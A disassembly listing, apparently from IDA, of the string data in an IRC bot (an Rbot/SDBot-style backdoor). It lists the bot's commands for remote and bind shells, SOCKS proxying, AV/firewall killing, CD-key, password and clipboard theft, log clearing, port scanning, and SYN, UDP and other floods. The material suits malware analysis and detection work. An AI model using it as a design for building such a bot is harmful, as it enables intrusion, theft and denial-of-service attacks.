dword_42ED74 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh
; DATA XREF: sub_40274D+25A7o
dd 6F666E49h, 2Eh
dword_42ED90 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h
; DATA XREF: sub_40274D+2578o
dd 2E6F666Eh, 0
dword_42EDAC dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h
; DATA XREF: sub_40274D+252Bo
dd 746F4220h, 2Eh
unk_42EDC8 db 2Dh ; - ; DATA XREF: sub_40274D+24FAo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToSta_23 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_42EE04 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h
; DATA XREF: sub_40274D+249Bo
dd 696C2073h, 2E7473h
aFull db 'full',0 ; DATA XREF: sub_40274D+247Bo
align 4
unk_42EE28 db 2Dh ; - ; DATA XREF: sub_40274D+2425o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunni_3 db ' Already running.',0
align 4
dword_42EE48 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_40274D+23FCo
aSearchComplete db '- Search completed.',0
dword_42EE68 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh
; DATA XREF: sub_40274D+23B6o
dd 2E7325h
unk_42EE80 db 2Dh ; - ; DATA XREF: sub_40274D:loc_404A48o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 10h
unk_42EEA0 db 2Dh ; - ; DATA XREF: sub_40274D+22F4o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 4
unk_42EEC8 db 2Dh ; - ; DATA XREF: sub_40274D+22DBo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 4
dword_42EEF4 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h
; DATA XREF: sub_40274D+22C0o
dd 72616F62h, 2E64h
dword_42EF10 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: sub_40274D+2298o
dd 2Dh
unk_42EF28 db 2Dh ; - ; DATA XREF: sub_40274D:loc_4049D5o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 4
unk_42EF54 db 2Dh ; - ; DATA XREF: sub_40274D+2281o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 4
unk_42EF78 db 2Dh ; - ; DATA XREF: sub_40274D:loc_4049A4o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 4
unk_42EFA4 db 2Dh ; - ; DATA XREF: sub_40274D:loc_40499Do
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 10h
unk_42EFD0 db 2Dh ; - ; DATA XREF: sub_40274D+2249o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 4
unk_42EFF4 db 2Dh ; - ; DATA XREF: sub_40274D+21C8o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_24 db '- Failed to start server thread, error: <%d>.',0
align 10h
unk_42F030 db 2Dh ; - ; DATA XREF: sub_40274D+216Fo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42F06C db 2Dh ; - ; DATA XREF: sub_40274D+209Do
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_25 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42F0A8 db 2Dh ; - ; DATA XREF: sub_40274D+2044o
; seg000:0040BAD0o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42F0E4 db 2Dh ; - ; DATA XREF: sub_40274D+1F31o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0
align 10h
unk_42F120 db 2Dh ; - ; DATA XREF: sub_40274D+1ED8o
; seg000:0040B767o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 4
unk_42F154 db 2Dh ; - ; DATA XREF: sub_40274D+1E34o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_4 db ' Already running.',0
align 4
unk_42F174 db 2Dh ; - ; DATA XREF: sub_40274D:loc_40456Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_27 db '- Failed to start scan, port is invalid.',0
align 4
unk_42F1AC db 2Dh ; - ; DATA XREF: sub_40274D+1DBFo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_28 db '- Failed to start scan thread, error: <%d>.',0
align 4
unk_42F1E8 db 2Dh ; - ; DATA XREF: sub_40274D+1D60o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 4
aSequential db 'Sequential',0 ; DATA XREF: sub_40274D+1D35o
; sub_40274D+5909o
align 10h
aRandom db 'Random',0 ; DATA XREF: sub_40274D+1D2Eo
; sub_40274D+5902o
align 4
unk_42F268 db 2Dh ; - ; DATA XREF: sub_40274D+1B80o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0
unk_42F2A8 db 2Dh ; - ; DATA XREF: sub_40274D+1B0Do
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToSta_29 db 'Failed to start search thread, error: <%d>.',0
unk_42F2E4 db 2Dh ; - ; DATA XREF: sub_40274D+1AA3o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
aFp db 'fp',0 ; DATA XREF: sub_40274D+1A66o
align 10h
aFindpass db 'findpass',0 ; DATA XREF: sub_40274D+1A55o
align 4
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_40274D+1A3Fo
align 10h
aPhonehome db 'phonehome',0 ; DATA XREF: sub_40274D+1A28o
align 4
aScanall db 'scanall',0 ; DATA XREF: sub_40274D+19FEo
dword_42F354 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h
; DATA XREF: sub_40274D+19B1o
dd 746F6220h, 2Eh
aCrash db 'crash',0 ; DATA XREF: sub_40274D+199Bo
; sub_40274D+19E8o
align 4
aTftp db 'tftp',0 ; DATA XREF: sub_40274D+1986o
align 10h
aTftpserver db 'tftpserver',0 ; DATA XREF: sub_40274D+1971o
align 4
aHttp db 'http',0 ; DATA XREF: sub_40274D+195Co
align 4
aHttpserver db 'httpserver',0 ; DATA XREF: sub_40274D+1947o
align 10h
aRlogin db 'rlogin',0 ; DATA XREF: sub_40274D+1932o
align 4
aRloginserver db 'rloginserver',0 ; DATA XREF: sub_40274D+191Do
align 4
aCip db 'cip',0 ; DATA XREF: sub_40274D+1908o
aCurrentip db 'currentip',0 ; DATA XREF: sub_40274D+18F3o
align 4
aFdns db 'fdns',0 ; DATA XREF: sub_40274D+18DEo
align 10h
aFlushdns db 'flushdns',0 ; DATA XREF: sub_40274D+18C9o
align 4
aFarp db 'farp',0 ; DATA XREF: sub_40274D+18B4o
align 4
aFlusharp db 'flusharp',0 ; DATA XREF: sub_40274D+189Fo
align 10h
aGc db 'gc',0 ; DATA XREF: sub_40274D+188Ao
align 4
aGetclip db 'getclip',0 ; DATA XREF: sub_40274D+1875o
unk_42F3FC db 2Dh ; - ; DATA XREF: sub_40274D+183Do
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
aOff db 'off',0 ; DATA XREF: sub_40274D+1822o
; sub_40274D+39C9o ...
aSpoof db 'spoof',0 ; DATA XREF: sub_40274D+180Bo
align 10h
unk_42F430 db 2Dh ; - ; DATA XREF: sub_40274D+17F0o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aLoginListCompl db 'Login list complete.',0
align 4
aD_S db '%d. %s',0 ; DATA XREF: sub_40274D+17BBo
; seg000:0040AF36o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_40274D:loc_403EF9o
dword_42F464 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: sub_40274D+1784o
dword_42F478 dd 6F6877h ; DATA XREF: sub_40274D+1767o
dword_42F47C dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_40274D+175Co
aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40274D+1757o
align 4
aCmdstop db 'cmdstop',0 ; DATA XREF: sub_40274D+1741o
aOcmd db 'ocmd',0 ; DATA XREF: sub_40274D+172Co
align 4
aOpencmd db 'opencmd',0 ; DATA XREF: sub_40274D+1717o
aDll db 'dll',0 ; DATA XREF: sub_40274D+1702o
aTestdlls db 'testdlls',0 ; DATA XREF: sub_40274D+16EDo
align 10h
aDrv db 'drv',0 ; DATA XREF: sub_40274D+16D8o
aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_40274D+16C3o
align 10h
aUp db 'up',0 ; DATA XREF: sub_40274D+16AEo
; sub_40274D+4864o
align 4
aUptime db 'uptime',0 ; DATA XREF: sub_40274D+1699o
align 4
aKey db 'key',0 ; DATA XREF: sub_40274D+1684o
aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_40274D+166Fo
align 4
aPs db 'ps',0 ; DATA XREF: sub_40274D+165Ao
align 10h
aProcs db 'procs',0 ; DATA XREF: sub_40274D+1645o
align 4
aRm db 'rm',0 ; DATA XREF: sub_40274D+1630o
align 4
aRemove db 'remove',0 ; DATA XREF: sub_40274D+161Bo
align 4
aSi db 'si',0 ; DATA XREF: sub_40274D+1606o
align 4
aSysinfo db 'sysinfo',0 ; DATA XREF: sub_40274D+15F1o
aNi db 'ni',0 ; DATA XREF: sub_40274D+15DCo
align 4
aNetinfo db 'netinfo',0 ; DATA XREF: sub_40274D+15C7o
aClg db 'clg',0 ; DATA XREF: sub_40274D+15B2o
aClearlog db 'clearlog',0 ; DATA XREF: sub_40274D+159Do
align 4
aLg db 'lg',0 ; DATA XREF: sub_40274D+1588o
align 10h
aLog db 'log',0 ; DATA XREF: sub_40274D+1573o
; sub_424391:loc_424419o ...
aAl db 'al',0 ; DATA XREF: sub_40274D+155Eo
align 4
aAliases db 'aliases',0 ; DATA XREF: sub_40274D+1549o
aT: ; DATA XREF: sub_40274D+1534o
; seg002:00442EE8o ...
unicode 0, <t>,0
aThreads db 'threads',0 ; DATA XREF: sub_40274D+151Fo
unk_42F54C db 2Dh ; - ; DATA XREF: sub_40274D+14EEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToReboot db 'Failed to reboot system.',0
align 4
unk_42F574 db 2Dh ; - ; DATA XREF: sub_40274D+14E7o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRebootingSyste db 'Rebooting system.',0
align 4
aReboot db 'reboot',0 ; DATA XREF: sub_40274D+14D0o
align 4
aI: ; DATA XREF: sub_40274D+14BBo
; seg002:00442EF4o ...
unicode 0, <i>,0
aId db 'id',0 ; DATA XREF: sub_40274D+14A6o
align 4
aS_5: ; DATA XREF: sub_40274D+1491o
; seg002:00442F00o ...
unicode 0, <s>,0
aStatus db 'status',0 ; DATA XREF: sub_40274D+147Co
align 10h
aQ: ; DATA XREF: sub_40274D+1467o
; seg002:off_442ED8o ...
unicode 0, <q>,0
aQuit_0 db 'quit',0 ; DATA XREF: sub_40274D+1452o
align 4
aDc db 'dc',0 ; DATA XREF: sub_40274D+143Do
align 10h
aDisconnect db 'disconnect',0 ; DATA XREF: sub_40274D+1428o
align 4
aR: ; DATA XREF: sub_40274D+1413o
; sub_40274D+3ABFo ...
unicode 0, <r>,0
aReconnect db 'reconnect',0 ; DATA XREF: sub_40274D+13FEo
align 4
aExplist db 'explist',0 ; DATA XREF: sub_40274D+13E9o
aExploitlist db 'exploitlist',0 ; DATA XREF: sub_40274D+13D4o
aCbstats db 'cbstats',0 ; DATA XREF: sub_40274D+13BFo
aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_40274D+13AAo
align 4
aTrstats db 'trstats',0 ; DATA XREF: sub_40274D+1395o
aTransferstats db 'transferstats',0 ; DATA XREF: sub_40274D+1380o
align 4
aStats db 'stats',0 ; DATA XREF: sub_40274D+136Bo
align 4
aScanstats db 'scanstats',0 ; DATA XREF: sub_40274D+1356o
align 4
dword_42F638 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_40274D+134Bo
aScan db 'Scan',0 ; DATA XREF: sub_40274D+1346o
align 4
aScanstop db 'scanstop',0 ; DATA XREF: sub_40274D+1330o
align 4
dword_42F658 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_40274D+1325o
aSecure_0 db 'Secure',0 ; DATA XREF: sub_40274D+1320o
align 10h
aSecurestop db 'securestop',0 ; DATA XREF: sub_40274D+130Ao
align 4
dword_42F67C dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_40274D+12FFo
aClone db 'Clone',0 ; DATA XREF: sub_40274D+12FAo
align 4
aClonestop db 'clonestop',0 ; DATA XREF: sub_40274D+12E4o
align 10h
aPsstop db 'psstop',0 ; DATA XREF: sub_40274D+12CFo
align 4
aProcsstop db 'procsstop',0 ; DATA XREF: sub_40274D+12BAo
align 4
aFfstop db 'ffstop',0 ; DATA XREF: sub_40274D+12A5o
align 4
aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_40274D+1290o
align 4
dword_42F6CC dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_40274D+1285o
aTftpstop db 'tftpstop',0 ; DATA XREF: sub_40274D+126Ao
align 4
aPingstop db 'pingstop',0 ; DATA XREF: sub_40274D+1244o
align 4
aUdpstop db 'udpstop',0 ; DATA XREF: sub_40274D+121Eo
aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_40274D+11F8o
align 4
aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_40274D+11D2o
unk_42F714 db 2Dh ; - ; DATA XREF: sub_40274D+11BBo
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aAllPacketingAc db 'All packeting activity has been halted.',0
dword_42F748 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_40274D+1186o
; sub_40274D+1213o
aWisdomAttack db 'Wisdom attack',0 ; DATA XREF: sub_40274D+1181o
; sub_40274D+120Eo
align 4
dword_42F768 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_40274D+116Bo
; sub_40274D+11EDo
aTsunamiFlood db 'Tsunami flood',0 ; DATA XREF: sub_40274D+1166o
; sub_40274D+11E8o
align 4
dword_42F788 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_40274D+1114o
; sub_40274D+125Fo
aPingFlood db 'Ping flood',0 ; DATA XREF: sub_40274D+110Fo
; sub_40274D+125Ao
align 10h
dword_42F7A0 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_40274D+10F9o
; sub_40274D+1239o
aUdpFlood db 'UDP flood',0 ; DATA XREF: sub_40274D+10F4o
; sub_40274D+1234o
align 4
aPacketstop db 'packetstop',0 ; DATA XREF: sub_40274D+109Do
align 4
dword_42F7C4 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_40274D+1092o
; sub_40274D+114Do
aWonkFlood db 'Wonk flood',0 ; DATA XREF: sub_40274D+108Do
; sub_40274D+1148o
align 4
aWonkstop db 'wonkstop',0 ; DATA XREF: sub_40274D+1077o
align 4
dword_42F7E8 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_40274D+106Co
; sub_40274D+1132o
aTarga3Flood db 'Targa3 flood',0 ; DATA XREF: sub_40274D+1067o
; sub_40274D+112Do
align 4
aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_40274D+1051o
align 4
dword_42F814 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_40274D+1046o
; sub_40274D+11A4o
aSkysynFlood db 'SkySyn flood',0 ; DATA XREF: sub_40274D+1041o
; sub_40274D+119Fo
align 4
aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_40274D+102Bo
align 10h
dword_42F840 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_40274D+1020o
; sub_40274D+10DBo
aSynFlood db 'Syn flood',0 ; DATA XREF: sub_40274D+101Bo
; sub_40274D+10D6o
align 4
aSynstop db 'synstop',0 ; DATA XREF: sub_40274D+1005o
dword_42F860 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_40274D+FFAo
; sub_40274D+10C0o
aDdosFlood db 'DDoS flood',0 ; DATA XREF: sub_40274D+FF5o
; sub_40274D+10BBo
align 4
aDdos_stop db 'ddos.stop',0 ; DATA XREF: sub_40274D+FDFo
align 4
dword_42F884 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_40274D+FD4o
aTcpRedirect db 'TCP redirect',0 ; DATA XREF: sub_40274D+FCFo
align 4
aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_40274D+FB9o
align 4
dword_42F8B4 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_40274D+FAEo
aLogList db 'Log list',0 ; DATA XREF: sub_40274D+FA9o
align 4
aLogstop db 'logstop',0 ; DATA XREF: sub_40274D+F93o
dword_42F8D4 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_40274D+F88o
aHttpstop db 'httpstop',0 ; DATA XREF: sub_40274D+F6Do
align 10h
dword_42F8F0 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_40274D+F62o
aRloginstop db 'rloginstop',0 ; DATA XREF: sub_40274D+F47o
align 4
dword_42F90C dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_40274D+F3Co
aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_40274D+F21o
align 4
aS4 db 's4',0 ; DATA XREF: sub_40274D+F0Co
align 4
aSocks4 db 'socks4',0 ; DATA XREF: sub_40274D+EF7o
align 4
dword_42F934 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_40274D+EECo
aServer_0 db 'Server',0 ; DATA XREF: sub_40274D+EE7o
; sub_40274D+F37o ...
align 10h
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_40274D+ED1o
align 10h
aBd db 'bd',0 ; DATA XREF: sub_40274D+EBCo
align 4
aBindshell db 'bindshell',0 ; DATA XREF: sub_40274D+EA7o
align 10h
aUnsec db 'unsec',0 ; DATA XREF: sub_40274D+E92o
align 4
aUnsecure db 'unsecure',0 ; DATA XREF: sub_40274D+E7Do
align 4
aSec db 'sec',0 ; DATA XREF: sub_40274D+E68o
; sub_40274D+2B4Do
aSecure db 'secure',0 ; DATA XREF: sub_40274D+E53o
; sub_40274D+2B3Co
align 10h
aSt db 'st',0 ; DATA XREF: sub_40274D+E3Eo
align 4
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_40274D+E29o
align 10h
aDed db 'ded',0 ; DATA XREF: sub_40274D+E14o
aDedication db 'dedication',0 ; DATA XREF: sub_40274D+DFFo
align 10h
aVer db 'ver',0 ; DATA XREF: sub_40274D+DEAo
aVersion db 'version',0 ; DATA XREF: sub_40274D+DD5o
aLo db 'lo',0 ; DATA XREF: sub_40274D+DC0o
align 10h
aLogout db 'logout',0 ; DATA XREF: sub_40274D+DABo
align 4
aD_0: ; DATA XREF: sub_40274D+D96o
; sub_40FDC3+7Fo ...
unicode 0, <d>,0
aDie db 'die',0 ; DATA XREF: sub_40274D+D81o
aRn db 'rn',0 ; DATA XREF: sub_40274D+D6Co
align 4
aRndnick_0 db 'rndnick',0 ; DATA XREF: sub_40274D+D54o
a63 db '63',0 ; DATA XREF: sub_40274D+C4Do
align 10h
asc_42F9E0: ; DATA XREF: sub_40274D+C2Eo
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_40274D+BFAo
align 4
aServer db '$server',0 ; DATA XREF: sub_40274D+BEFo
aRndnick db '$rndnick',0 ; DATA XREF: sub_40274D+BDEo
align 10h
aChan db '$chan',0 ; DATA XREF: sub_40274D+BC5o
align 4
aUser db '$user',0 ; DATA XREF: sub_40274D+BB7o
align 10h
aMe db '$me',0 ; DATA XREF: sub_40274D+BA5o
aD_1 db '$%d',0 ; DATA XREF: sub_40274D+B43o
aD db '$%d-',0 ; DATA XREF: sub_40274D+AA5o
align 10h
asc_42FA20: ; DATA XREF: sub_40274D+9D0o
; seg002:00442F1Co ...
unicode 0, <l>,0
unk_42FA24 db 2Dh ; - ; DATA XREF: sub_40274D+995o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 4
unk_42FA58 db 2Dh ; - ; DATA XREF: sub_40274D+984o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 4
unk_42FA88 db 2Dh ; - ; DATA XREF: sub_40274D+95Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_30 db '- Failed to start chat thread, error: <%d>.',0
align 10h
unk_42FAC0 db 2Dh ; - ; DATA XREF: sub_40274D+905o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 10h
aChat db 'CHAT',0 ; DATA XREF: sub_40274D+877o
align 4
unk_42FAE8 db 2Dh ; - ; DATA XREF: sub_40274D+860o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
dword_42FB2C dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_40274D+830o
dd 0A0Dh
dword_42FB44 dd 4E495001h, 47h ; DATA XREF: sub_40274D+802o
dword_42FB4C dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_40274D+7F7o
dd 0D017325h, 0Ah
dword_42FB68 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40274D+7C9o
dword_42FB74 dd 23h ; DATA XREF: sub_40274D+755o
; sub_40E916+1Bo
unk_42FB78 db 2Dh ; - ; DATA XREF: sub_40274D+72Co
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSta_31 db '- Failed to start transfer thread, error: <%d>.',0
align 4
unk_42FBB4 db 2Dh ; - ; DATA XREF: sub_40274D+6CFo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 4
aSend_0 db 'SEND',0 ; DATA XREF: sub_40274D+638o
align 4
dword_42FBEC dd 43434401h, 0 ; DATA XREF: sub_40274D+61Do
dword_42FBF4 dd 323333h ; DATA XREF: sub_40274D+5BAo
; sub_40274D+9ECo ...
unk_42FBF8 db 2Dh ; - ; DATA XREF: sub_40274D+54Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedOut db 'User: %s logged out.',0
align 4
unk_42FC1C db 2Dh ; - ; DATA XREF: sub_40274D+52Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChanne_0 db 'Joined channel: %s.',0
a353 db '353',0 ; DATA XREF: sub_40274D+4F9o
aQuit db 'QUIT',0 ; DATA XREF: sub_40274D+4C2o
align 4
aPart db 'PART',0 ; DATA XREF: sub_40274D+4B1o
; sub_40274D+564o
align 10h
aSS_1 db ':%s%s',0 ; DATA XREF: sub_40274D+48Co
align 4
aNick db 'NICK',0 ; DATA XREF: sub_40274D+378o
align 10h
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+322o
; sub_40274D+585o
unk_42FC70 db 2Dh ; - ; DATA XREF: sub_40274D+307o
; sub_40274D+2C92o ...
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_0 db 'User %s logged out.',0
aKick db 'KICK',0 ; DATA XREF: sub_40274D+2ACo
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+263o
; sub_40274D+7874o ...
align 4
a433 db '433',0 ; DATA XREF: sub_40274D+23Bo
; sub_41A6AE:loc_41A723o
a@: ; DATA XREF: sub_40274D+213o
unicode 0, <@>,0
a302 db '302',0 ; DATA XREF: sub_40274D+203o
a005 db '005',0 ; DATA XREF: sub_40274D+1EEo
a001 db '001',0 ; DATA XREF: sub_40274D+1D9o
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+1BEo
; sub_40274D+365o ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40274D+1A1o
align 4
aPing db 'PING',0 ; DATA XREF: sub_40274D+18Ao
; sub_41A6AE+4Eo
align 4
asc_42FCDC: ; DATA XREF: sub_40274D+17Bo
; sub_40274D+7981o
unicode 0, <!>,0
asc_42FCE0: ; DATA XREF: sub_40274D+A9o
; sub_40274D+D04o ...
unicode 0, < >,0
asc_42FCE4 db ' :',0 ; DATA XREF: sub_40274D+87o
; sub_40274D:loc_403191o
align 4
dword_42FCE8 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: sub_40A263+452o
aFailedToSta_32 db '- Failed to start server, error: <%d>.',0
align 4
dword_42FD1C dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: sub_40A263+407o
aServerRunnin_0 db '- Server running on Port: 113.',0
align 4
unk_42FD48 db 2Dh ; - ; DATA XREF: sub_40A263+3DAo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 4
unk_42FD88 db 2Dh ; - ; DATA XREF: sub_40A263+389o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 4
dword_42FDAC dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h
; DATA XREF: sub_40A263+34Eo
dd 2E646574h, 0
aSDS db '%s %d "%s"',0 ; DATA XREF: sub_40A263+279o
align 4
aSS_0 db '%s\%s',0 ; DATA XREF: sub_40A263+182o
; sub_4185EA+7Eo ...
align 4
aSS db '%s%s',0 ; DATA XREF: sub_40A263+106o
; sub_412135+4CFo ...
align 4
aZytowski db 'Zytowski',0 ; DATA XREF: seg002:0043D758o
align 10h
aZwiers db 'Zwiers',0 ; DATA XREF: seg002:0043D754o
align 4
aZurn db 'Zurn',0 ; DATA XREF: seg002:0043D750o
align 10h
aZucconi db 'Zucconi',0 ; DATA XREF: seg002:0043D74Co
aZoldak db 'Zoldak',0 ; DATA XREF: seg002:0043D748o
align 10h
aZerbini db 'Zerbini',0 ; DATA XREF: seg002:0043D744o
aZegans db 'Zegans',0 ; DATA XREF: seg002:0043D740o
align 10h
aZangwill db 'Zangwill',0 ; DATA XREF: seg002:0043D73Co
align 4
aZahedi db 'Zahedi',0 ; DATA XREF: seg002:0043D738o
align 4
